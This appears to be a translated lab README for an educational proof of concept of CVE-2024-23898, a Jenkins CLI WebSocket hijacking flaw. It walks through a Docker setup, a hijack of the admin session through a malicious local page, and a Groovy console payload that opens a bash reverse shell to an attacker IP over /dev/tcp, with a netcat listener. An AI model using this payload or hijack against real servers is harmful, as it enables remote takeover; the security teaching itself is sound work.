Jenkins CLI Websocket Hijacking - PoC
استغلال اختطاف WebSocket عبر المواقع (برهان المفهوم) لـ CVE-2024-23898 — ثغرة أمنية تؤثر على إصدارات Jenkins 2.217-2.441.
يستهدف هذا الاستغلال CLI لـ Jenkins والذي يمكن استخدامه للوصول عن بُعد وإصدار أوامر لخادم تحكم Jenkins. من خلال هذا الاستغلال، يمكن لمهاجم عن بُعد الحصول على الوصول وإنشاء باب خلفي دائم لخادم تحكم Jenkins إذا تم خداع مسؤول لزيارة موقع ضار أثناء تسجيل الدخول إلى خادم تحكم Jenkins المستهدف.
إخلاء مسؤولية
هذا الكود مخصص للأغراض التعليمية فقط وللاستخدام الحصري في دورة الاختراق والأمن الهجومي بجامعة كارنيجي ميلون. لا ينبغي تسليح هذا الكود أو استخدامه بطريقة أخرى لصنع برمجيات ضارة. يدين المؤلفون صراحة أي محاولة للقيام بذلك.
إعداد Jenkins
- قم بتشغيل
docker-compose build && docker-compose up -d
- انتقل إلى http://localhost:8080، سيُطلب منك كلمة مرور المسؤول
- افتح شل في حاوية Docker لـ Jenkins (وليس حاوية PostgreSQL)
- "docker exec -it <container_id> bash"
- انتقل إلى الدليل المدرج في صفحة Jenkins واحصل على كلمة المرور
- قم بإعداد حساب مسؤول أساسي (تذكر كلمة المرور) وقم بتثبيت الإضافات الافتراضية
- قم بتكوين المستخدمين المجهولين بأذونات أساسية عن طريق الذهاب إلى Manage Jenkins > Security
- عيّن نوع التفويض إلى "Matrix-based"
- اسمح للمستخدمين المجهولين بقراءة "Overall" و "Job"
إجراء اختطاف WebSocket
- افتح Firefox، واذهب إلى Settings > Security & Privacy
- عيّن خصوصية المتصفح إلى Custom، وقم بتبديل Cookies إلى "off" (وهذا يجعل Firefox يسمح بجميع ملفات تعريف الارتباط)
- اذهب إلى Jenkins، وسجل الدخول كمسؤول، مع التأكد من النقر على "Keep me signed in"
- قم بتشغيل evilApp.py، وزيارة http://localhost:5000
- اذهب إلى Network واضغط على Refresh
- انقر على الحزمة التي تحتوي على ملف "ws" واذهب إلى Response، يجب أن ترى أنها تقول "Authenticated as: admin"
- يمكنك أيضًا التحقق من "Cookies" لمشاهدة ملف تعريف الارتباط remember-me
تنفيذ شل عكسية
- في الطرفية لجهازك، ابدأ مستمع netcat باستخدام
nc -l <port_num> (استبدل <port_num> بأي رقم منفذ غير مستخدم)
- يجب الحصول على عنوان IP لجهاز الكمبيوتر الخاص بك كما يراه Docker. على Mac يمكنك العثور عليه باستخدام الأمر
ipconfig getifaddr en0
- بافتراض أن خادم Jenkins الخاص بك قيد التشغيل، اذهب إلى
[http://localhost:8080/script](http://localhost:8080/script). سجل الدخول كحساب المسؤول إذا لم تكن قد فعلت ذلك بالفعل.
- الصق ونفذ هذا الحمولة في وحدة تحكم البرنامج النصي Groovy:
['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
- عد إلى الطرفية التي تحتوي على مستمع netcat. يجب أن تكون في نظام ملفات خادم Jenkins وقادرًا على فعل أي شيء يمكن للمستخدم المسؤول فعله.